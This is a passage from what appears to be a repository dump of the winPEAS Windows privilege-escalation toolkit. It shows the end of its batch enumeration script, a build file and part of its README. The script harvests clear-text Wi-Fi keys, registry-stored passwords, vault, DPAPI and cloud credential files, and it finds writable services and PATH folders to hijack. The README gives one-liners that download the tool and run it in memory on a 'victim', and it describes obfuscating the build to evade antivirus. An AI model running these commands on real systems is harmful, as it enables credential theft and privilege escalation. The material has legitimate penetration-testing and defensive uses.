AlwaysInstallElevated 2> nul\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:NetworkShares\r\nCALL :ColorLine \"%E%32m[*]%E%97m NETWORK\"\r\nCALL :ColorLine \" %E%33m[+]%E%97m CURRENT SHARES\"\r\nnet share\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:NetworkInterfaces\r\nCALL :ColorLine \" %E%33m[+]%E%97m INTERFACES\"\r\nipconfig  /all\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:NetworkUsedPorts\r\nCALL :ColorLine \" %E%33m[+]%E%97m USED PORTS\"\r\nECHO.   [i] Check for services restricted from the outside\r\nnetstat -ano | findstr /i listen\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:NetworkFirewall\r\nCALL :ColorLine \" %E%33m[+]%E%97m FIREWALL\"\r\nnetsh firewall show state\r\nnetsh firewall show config\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:ARP\r\nCALL :ColorLine \" %E%33m[+]%E%97m ARP\"\r\narp -A\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:NetworkRoutes\r\nCALL :ColorLine \" %E%33m[+]%E%97m ROUTES\"\r\nroute print\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:WindowsHostsFile\r\nCALL :ColorLine \" %E%33m[+]%E%97m Hosts file\"\r\ntype C:\\WINDOWS\\System32\\drivers\\etc\\hosts | findstr /v \"^#\"\r\nCALL :T_Progress 1\r\n\r\n:DNSCache\r\nCALL :ColorLine \" %E%33m[+]%E%97m DNS CACHE\"\r\nipconfig /displaydns | findstr \"Record\" | findstr \"Name Host\"\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:WifiCreds\r\nCALL :ColorLine \" %E%33m[+]%E%97m WIFI\"\r\nfor /f \"tokens=4 delims=: \" %%a in ('netsh wlan show profiles ^| find \"Profile \"') do (netsh wlan show profiles name=%%a key=clear | findstr \"SSID Cipher Content\" | find /v \"Number\" & ECHO.)\r\nCALL :T_Progress 1\r\n\r\n:BasicUserInfo\r\nCALL :ColorLine \"%E%32m[*]%E%97m BASIC USER INFO\r\nECHO.   [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups\r\nECHO.\r\nCALL :ColorLine \" %E%33m[+]%E%97m CURRENT USER\"\r\nnet user %username%\r\nnet user %USERNAME% /domain 2>nul\r\nwhoami /all\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:BasicUserInfoUsers\r\nCALL :ColorLine \" %E%33m[+]%E%97m USERS\"\r\nnet user\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:BasicUserInfoGroups\r\nCALL :ColorLine \" %E%33m[+]%E%97m GROUPS\"\r\nnet localgroup\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:BasicUserInfoAdminGroups\r\nCALL :ColorLine \" %E%33m[+]%E%97m ADMINISTRATORS GROUPS\"\r\nREM seems to be localised\r\nnet localgroup Administrators 2>nul\r\nnet localgroup Administradores 2>nul\r\nECHO. \r\nCALL :T_Progress 1\r\n\r\n:BasicUserInfoLoggedUser\r\nCALL :ColorLine \" %E%33m[+]%E%97m CURRENT LOGGED USERS\"\r\nquser\r\nECHO. \r\nCALL :T_Progress 1\r\n\r\n:KerberosTickets\r\nCALL :ColorLine \" %E%33m[+]%E%97m Kerberos Tickets\"\r\nklist\r\nECHO. \r\nCALL :T_Progress 1\r\n\r\n:CurrentClipboard\r\nCALL :ColorLine \" %E%33m[+]%E%97m CURRENT CLIPBOARD\"\r\nECHO.   [i] Any passwords inside the clipboard?\r\npowershell -command \"Get-Clipboard\" 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:ServiceVulnerabilities\r\nCALL :ColorLine \"%E%32m[*]%E%97m SERVICE VULNERABILITIES\"\r\n:::sysinternals external tool\r\n::ECHO.\r\n::CALL :ColorLine \" %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\\Users, Todos and CURRENT USER\"\r\n::ECHO.   [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service\r\n::ECHO.   [i] If accesschk.exe is not in PATH, nothing will be found here\r\n::ECHO.   [i] AUTHETICATED USERS\r\n::accesschk.exe -uwcqv \"Authenticated Users\" * /accepteula 2>nul\r\n::ECHO.   [i] EVERYONE\r\n::accesschk.exe -uwcqv \"Everyone\" * /accepteula 2>nul\r\n::ECHO.   [i] BUILTIN\\Users\r\n::accesschk.exe -uwcqv \"BUILTIN\\Users\" * /accepteula 2>nul\r\n::ECHO.   [i] TODOS\r\n::accesschk.exe -uwcqv \"Todos\" * /accepteula 2>nul\r\n::ECHO.   [i] %USERNAME%\r\n::accesschk.exe -uwcqv %username% * /accepteula 2>nul\r\n::ECHO.\r\n::CALL :ColorLine \" %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *\"\r\n::ECHO.   [i] Check for weird service permissions for unexpected groups\"\r\n::accesschk.exe -uwcqv * /accepteula 2>nul\r\nCALL :T_Progress 1\r\nECHO.\r\n\r\n:ServiceBinaryPermissions\r\nCALL :ColorLine \" %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS\"\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services\r\nwhere wmic >nul 2>&1\r\nif %errorlevel% equ 0 (\r\n\tfor /f \"tokens=2 delims='='\" %%a in ('cmd.exe /c wmic service list full ^| findstr /i \"pathname\" ^|findstr /i /v \"system32\"') do (\r\n\t\tfor /f eol^=^\"^ delims^=^\" %%b in (\"%%a\") do icacls \"%%b\" 2>nul | findstr /i \"(F) (M) (W) :\\\\\" | findstr /i \":\\\\ everyone authenticated users todos usuarios %username%\" && ECHO.\r\n\t)\r\n) else (\r\n\tfor /f \"tokens=*\" %%a in ('powershell -command \"Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName\"') do (\r\n\t\tfor /f \"tokens=1 delims= \" %%b in (\"%%a\") do (\r\n\t\t\tset \"svcpath=%%b\"\r\n\t\t\tset \"svcpath=!svcpath:~1,-1!\"\r\n\t\t\tif exist \"!svcpath!\" icacls \"!svcpath!\" 2>nul | findstr /i \"(F) (M) (W) :\\\\\" | findstr /i \":\\\\ everyone authenticated users todos usuarios %username%\" && ECHO.\r\n\t\t)\r\n\t)\r\n)\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:CheckRegistryModificationAbilities\r\nCALL :ColorLine \" %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY\"\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services\r\nfor /f %%a in ('reg query hklm\\system\\currentcontrolset\\services') do del %temp%\\reg.hiv >nul 2>&1 & reg save %%a %temp%\\reg.hiv >nul 2>&1 && reg restore %%a %temp%\\reg.hiv >nul 2>&1 && ECHO.You can modify %%a\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:UnquotedServicePaths\r\nCALL :ColorLine \" %E%33m[+]%E%97m UNQUOTED SERVICE PATHS\"\r\nECHO.   [i] When the path is not quoted (ex: C:\\Program files\\soft\\new folder\\exec.exe) Windows will try to execute first 'C:\\Program.exe', then 'C:\\Program Files\\soft\\new.exe' and finally 'C:\\Program Files\\soft\\new folder\\exec.exe'. Try to create 'C:\\Program Files\\soft\\new.exe'\r\nECHO.   [i] The permissions are also checked and filtered using icacls\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services\r\nfor /f \"tokens=2\" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (\r\n\tfor /f \"delims=: tokens=1*\" %%r in ('sc qc \"%%~n\" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:\"c:\\windows\\system32\" ^| findstr /v /c:\"\"\"\"') do (\r\n\t\tECHO.%%~s ^| findstr /r /c:\"[a-Z][ ][a-Z]\" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\") && ECHO.\r\n\t)\r\n)\r\nCALL :T_Progress 2\r\n::wmic service get name,displayname,pathname,startmode | more | findstr /i /v \"C:\\\\Windows\\\\system32\\\\\" | findstr /i /v \"\"\"\r\nECHO.\r\n::CALL :T_Progress 1\r\n\r\n:PATHenvHijacking\r\nCALL :ColorLine \"%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable\"\r\nECHO.   [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations\r\nECHO.   [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking\r\nfor %%A in (\"%path:;=\";\"%\") do ( cmd.exe /c icacls \"%%~A\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. )\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:WindowsCredentials\r\nCALL :ColorLine \"%E%32m[*]%E%97m CREDENTIALS\"\r\nECHO.\r\nCALL :ColorLine \" %E%33m[+]%E%97m WINDOWS VAULT\"\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault\r\ncmdkey /list\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:DPAPIMasterKeys\r\nCALL :ColorLine \" %E%33m[+]%E%97m DPAPI MASTER KEYS\"\r\nECHO.   [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi\r\npowershell -command \"Get-ChildItem %appdata%\\Microsoft\\Protect\" 2>nul\r\npowershell -command \"Get-ChildItem %localappdata%\\Microsoft\\Protect\" 2>nul\r\nCALL :T_Progress 2\r\nCALL :ColorLine \" %E%33m[+]%E%97m DPAPI MASTER KEYS\"\r\nECHO.   [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt\r\nECHO.   [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi\r\nECHO.\r\nECHO.Looking inside %appdata%\\Microsoft\\Credentials\\\r\nECHO.\r\ndir /b/a %appdata%\\Microsoft\\Credentials\\ 2>nul \r\nCALL :T_Progress 2\r\nECHO.\r\nECHO.Looking inside %localappdata%\\Microsoft\\Credentials\\\r\nECHO.\r\ndir /b/a %localappdata%\\Microsoft\\Credentials\\ 2>nul\r\nCALL :T_Progress 2\r\nECHO.\r\n\r\n:UnattendedFiles\r\nCALL :ColorLine \" %E%33m[+]%E%97m Unattended files\"\r\nIF EXIST %WINDIR%\\sysprep\\sysprep.xml ECHO.%WINDIR%\\sysprep\\sysprep.xml exists. \r\nIF EXIST %WINDIR%\\sysprep\\sysprep.inf ECHO.%WINDIR%\\sysprep\\sysprep.inf exists. \r\nIF EXIST %WINDIR%\\sysprep.inf ECHO.%WINDIR%\\sysprep.inf exists. \r\nIF EXIST %WINDIR%\\Panther\\Unattended.xml ECHO.%WINDIR%\\Panther\\Unattended.xml exists. \r\nIF EXIST %WINDIR%\\Panther\\Unattend.xml ECHO.%WINDIR%\\Panther\\Unattend.xml exists. \r\nIF EXIST %WINDIR%\\Panther\\Unattend\\Unattend.xml ECHO.%WINDIR%\\Panther\\Unattend\\Unattend.xml exists. \r\nIF EXIST %WINDIR%\\Panther\\Unattend\\Unattended.xml ECHO.%WINDIR%\\Panther\\Unattend\\Unattended.xml exists.\r\nIF EXIST %WINDIR%\\System32\\Sysprep\\unattend.xml ECHO.%WINDIR%\\System32\\Sysprep\\unattend.xml exists.\r\nIF EXIST %WINDIR%\\System32\\Sysprep\\unattended.xml ECHO.%WINDIR%\\System32\\Sysprep\\unattended.xml exists.\r\nIF EXIST %WINDIR%\\..\\unattend.txt ECHO.%WINDIR%\\..\\unattend.txt exists.\r\nIF EXIST %WINDIR%\\..\\unattend.inf ECHO.%WINDIR%\\..\\unattend.inf exists. \r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:SAMSYSBackups\r\nCALL :ColorLine \" %E%33m[+]%E%97m SAM and SYSTEM backups\"\r\nIF EXIST %WINDIR%\\repair\\SAM ECHO.%WINDIR%\\repair\\SAM exists. \r\nIF EXIST %WINDIR%\\System32\\config\\RegBack\\SAM ECHO.%WINDIR%\\System32\\config\\RegBack\\SAM exists.\r\nIF EXIST %WINDIR%\\System32\\config\\SAM ECHO.%WINDIR%\\System32\\config\\SAM exists.\r\nIF EXIST %WINDIR%\\repair\\SYSTEM ECHO.%WINDIR%\\repair\\SYSTEM exists.\r\nIF EXIST %WINDIR%\\System32\\config\\SYSTEM ECHO.%WINDIR%\\System32\\config\\SYSTEM exists.\r\nIF EXIST %WINDIR%\\System32\\config\\RegBack\\SYSTEM ECHO.%WINDIR%\\System32\\config\\RegBack\\SYSTEM exists.\r\nECHO.\r\nCALL :T_Progress 3\r\n\r\n:McAffeeSitelist\r\nCALL :ColorLine \" %E%33m[+]%E%97m McAffee SiteList.xml\"\r\ncd %ProgramFiles% 2>nul\r\ndir /s SiteList.xml 2>nul\r\ncd %ProgramFiles(x86)% 2>nul\r\ndir /s SiteList.xml 2>nul\r\ncd \"%windir%\\..\\Documents and Settings\" 2>nul\r\ndir /s SiteList.xml 2>nul\r\ncd %windir%\\..\\Users 2>nul\r\ndir /s SiteList.xml 2>nul\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:GPPPassword\r\nCALL :ColorLine \" %E%33m[+]%E%97m GPP Password\"\r\ncd \"%SystemDrive%\\Microsoft\\Group Policy\\history\" 2>nul\r\ndir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul\r\ncd \"%windir%\\..\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Group Policy\\history\" 2>nul\r\ndir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:CloudCreds\r\nCALL :ColorLine \" %E%33m[+]%E%97m Cloud Credentials\"\r\ncd \"%SystemDrive%\\Users\"\r\ndir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul\r\ncd \"%windir%\\..\\Documents and Settings\"\r\ndir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:AppCMD\r\nCALL :ColorLine \" %E%33m[+]%E%97m AppCmd\"\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe\r\nIF EXIST %systemroot%\\system32\\inetsrv\\appcmd.exe ECHO.%systemroot%\\system32\\inetsrv\\appcmd.exe exists. \r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:RegFilesCredentials\r\nCALL :ColorLine \" %E%33m[+]%E%97m Files in registry that may contain credentials\"\r\nECHO.   [i] Searching specific files that may contains credentials.\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials\r\nECHO.Looking inside HKCU\\Software\\ORL\\WinVNC3\\Password\r\nreg query HKCU\\Software\\ORL\\WinVNC3\\Password 2>nul\r\nCALL :T_Progress 2\r\nECHO.Looking inside HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4/password\r\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4 /v password 2>nul\r\nCALL :T_Progress 2\r\nECHO.Looking inside HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\WinLogon\r\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon\" 2>nul | findstr /i \"DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername\"\r\nCALL :T_Progress 2\r\nECHO.Looking inside HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP\r\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP /s 2>nul\r\nCALL :T_Progress 2\r\nECHO.Looking inside HKCU\\Software\\TightVNC\\Server\r\nreg query HKCU\\Software\\TightVNC\\Server 2>nul\r\nCALL :T_Progress 2\r\nECHO.Looking inside HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\r\nreg query HKCU\\Software\\SimonTatham\\PuTTY\\Sessions /s 2>nul\r\nCALL :T_Progress 2\r\nECHO.Looking inside HKCU\\Software\\OpenSSH\\Agent\\Keys\r\nCALL :T_Progress 2\r\nreg query HKCU\\Software\\OpenSSH\\Agent\\Keys /s 2>nul\r\ncd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul\r\ncd ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\r\ndir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == \"Login Data\" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v \".dll\"\r\ncd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:ExtendedDriveScan\r\nif \"%long%\" == \"true\" (\r\n    CALL :ColorLine \" %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd\"\r\n\treg query HKLM /f passw /t REG_SZ /s\r\n\treg query HKCU /f passw /t REG_SZ /s\r\n\treg query HKLM /f pwd /t REG_SZ /s\r\n\treg query HKCU /f pwd /t REG_SZ /s\r\n\tECHO.\r\n\tECHO.   [i] Iterating through the drives\r\n\tECHO.\r\n\twhere wmic >nul 2>&1\r\n\tif !errorlevel! equ 0 (\r\n\t\tfor /f %%x in ('wmic logicaldisk get name') do (\r\n\t\t\tset tdrive=%%x\r\n\t\t\tif \"!tdrive:~1,2!\" == \":\" (\r\n\t\t\t\t%%x\r\n\t\t\t\tCALL :ColorLine \" %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config\"\r\n\t\t\t\tfindstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i \"\\\\AppData\\\\Local \\\\WinSxS ApnDatabase.xml \\\\UEV\\\\InboxTemplates \\\\Microsoft.Windows.Cloud \\\\Notepad\\+\\+\\\\ vmware cortana alphabet \\\\7-zip\\\\\" 2>nul\r\n\t\t\t\tECHO.\r\n\t\t\t\tCALL :ColorLine \" %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \\Windows\\\"\r\n\t\t\t\tdir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i \"\\\\windows\\\\\"\r\n\t\t\t\tECHO.\r\n\t\t\t)\r\n\t\t)\r\n\t) else (\r\n\t\tfor /f %%x in ('powershell -command \"Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name\"') do (\r\n\t\t\t%%x:\r\n\t\t\tCALL :ColorLine \" %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config\"\r\n\t\t\tfindstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i \"\\\\AppData\\\\Local \\\\WinSxS ApnDatabase.xml \\\\UEV\\\\InboxTemplates \\\\Microsoft.Windows.Cloud \\\\Notepad\\+\\+\\\\ vmware cortana alphabet \\\\7-zip\\\\\" 2>nul\r\n\t\t\tECHO.\r\n\t\t\tCALL :ColorLine \" %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \\Windows\\\"\r\n\t\t\tdir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i \"\\\\windows\\\\\"\r\n\t\t\tECHO.\r\n\t\t)\r\n\t)\r\n\tCALL :T_Progress 2\r\n) ELSE (\r\n\tCALL :T_Progress 2\r\n)\r\nTITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle\r\nECHO.---\r\nECHO.Scan complete.\r\nPAUSE >NUL \r\nEXIT /B\r\n\r\n:::-Subroutines\r\n\r\n:SetOnce\r\nREM :: ANSI escape character is set once below - for ColorLine Subroutine\r\nfor /F %%a in ('echo prompt $E ^| cmd') do set \"ESC=%%a\"\r\nSET \"E=%ESC%[\"\r\nSET \"PercentageTrack=0\"\r\nEXIT /B\r\n\r\n:T_Progress\r\nSET \"Percentage=%~1\"\r\nSET /A \"PercentageTrack=PercentageTrack+Percentage\"\r\nTITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%%\r\nEXIT /B\r\n\r\n:ColorLine\r\nSET \"CurrentLine=%~1\"\r\nECHO.!CurrentLine!\r\nEXIT /B\r\n"
  },
  {
    "path": "winPEAS/winPEASexe/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\nproject(winPEAS_dotnet NONE)\n\nset(PROJECT_FILE \"${CMAKE_CURRENT_SOURCE_DIR}/winPEAS.csproj\")\n\nfind_program(DOTNET_EXECUTABLE dotnet)\nfind_program(MSBUILD_EXECUTABLE msbuild)\nfind_program(XBUILD_EXECUTABLE xbuild)\n\nif(DOTNET_EXECUTABLE)\n  set(BUILD_TOOL \"${DOTNET_EXECUTABLE}\")\n  set(BUILD_ARGS build \"${PROJECT_FILE}\" -c Release)\nelseif(MSBUILD_EXECUTABLE)\n  set(BUILD_TOOL \"${MSBUILD_EXECUTABLE}\")\n  set(BUILD_ARGS \"${PROJECT_FILE}\" /p:Configuration=Release)\nelseif(XBUILD_EXECUTABLE)\n  set(BUILD_TOOL \"${XBUILD_EXECUTABLE}\")\n  set(BUILD_ARGS \"${PROJECT_FILE}\" /p:Configuration=Release)\nelse()\n  message(FATAL_ERROR \"dotnet, msbuild, or xbuild is required to build winPEAS\")\nendif()\n\nadd_custom_target(winpeas ALL\n  COMMAND ${BUILD_TOOL} ${BUILD_ARGS}\n  WORKING_DIRECTORY \"${CMAKE_CURRENT_SOURCE_DIR}\"\n)\n"
  },
  {
    "path": "winPEAS/winPEASexe/README.md",
    "content": "# Windows Privilege Escalation Awesome Script (.exe)\n\n![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png)\n\n**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)**\n\nCheck also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)**\n\n[![youtube](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI)\n\n## Quick Start\n\n**.Net >= 4.5.2 is required**\n\nPrecompiled binaries:\n- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/peass-ng/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation).\n\n```bash\n# Get latest release\n$url = \"https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe\"\n\n# One liner to download and execute winPEASany from memory in a PS shell\n$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest \"$url\" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main(\"\")\n\n# The previous cmd in 2 lines\n$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest \"$url\" -UseBasicParsing | Select-Object -ExpandProperty Content));\n[winPEAS.Program]::Main(\"\") #Put inside the quotes the winpeas parameters you want to use\n\n# Download to disk and execute (super noisy)\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe\", \"winPEASany_ofs.exe\")\n.\\winPEASany_ofs.exe\n\n# Load from disk in memory and execute:\n$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes(\"D:\\Users\\victim\\winPEAS.exe\")));\n[winPEAS.Program]::Main(\"\") #Put inside the quotes the winpeas parameters you want to use\n\n# Load from disk in base64 and execute\n##Generate winpeas in Base64:\n[Convert]::ToBase64String([IO.File]::ReadAllBytes(\"D:\\Users\\user\\winPEAS.exe\")) | Out-File -Encoding ASCII D:\\Users\\user\\winPEAS.txt\n##Now upload the B64 string to the victim inside a file or copy it to the clipboard\n\n ##If you have uploaded the B64 as afile load it with:\n$thecontent = Get-Content -Path D:\\Users\\victim\\winPEAS.txt\n ##If you have copied the B64 to the clipboard do:\n$thecontent = \"aaaaaaaa...\" #Where \"aaa...\" is the winpeas base64 string\n##Finally, load binary in memory and execute\n$wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent))\n[winPEAS.Program]::Main(\"\") #Put inside the quotes the winpeas parameters you want to use\n\n# Loading from file and executing a winpeas obfuscated version\n##Load obfuscated version\n$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes(\"D:\\Users\\victim\\winPEAS-Obfuscated.exe\")));\n$wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from \"winPEAS.Program\"\n[<ReflectedType_from_before>]::Main(\"\") #Used the ReflectedType name to execute winpeas\n```\n\n## Parameters Examples\n\n```bash\nwinpeas.exe -h # Get Help\nwinpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)\nwinpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed\nwinpeas.exe notcolor #Do not color the output\nwinpeas.exe domain #enumerate also domain information\nwinpeas.exe wait #wait for user input between tests\nwinpeas.exe debug #display additional debug information\nwinpeas.exe log #log output to out.txt instead of standard output\nwinpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh)\nwinpeas.exe -lolbas  #Execute also additional LOLBAS search check\n```\n\n## Basic information\n\nThe goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.\n\nNew in this version:\n- Detect potential GPO abuse by flagging writable SYSVOL paths for GPOs applied to the current host and by highlighting membership in the \"Group Policy Creator Owners\" group.\n\n- Flag installed OEM utilities such as ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4, highlighting writable updater folders and world-accessible pipes tied to recent CVEs.\n\nIt should take only a **few seconds** to execute almost all the checks and **some seconds/minutes during the lasts checks searching for known filenames** that could contain passwords (the time depened on the number of files in your home folder). By default only **some** filenames that could contain credentials are searched, you can use the **searchall** parameter to search all the list (this could will add some minutes).\n\nThe tool is based on **[SeatBelt](https://github.com/GhostPack/Seatbelt)**.\n\n\n## Where are my COLORS?!?!?!\n\nThe **ouput will be colored** using **ansi** colors. If you are executing `winpeas.exe` **from a Windows console**, you need to set a registry value to see the colors (and open a new CMD):\n```\nREG ADD HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1\n```\n\nBelow you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective).\n\n![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/colors.png)\n\n## Instructions to compile you own obfuscated version\n\n<details>\n  <summary>Details</summary>\n\nIn order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*.\n\nTo install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write 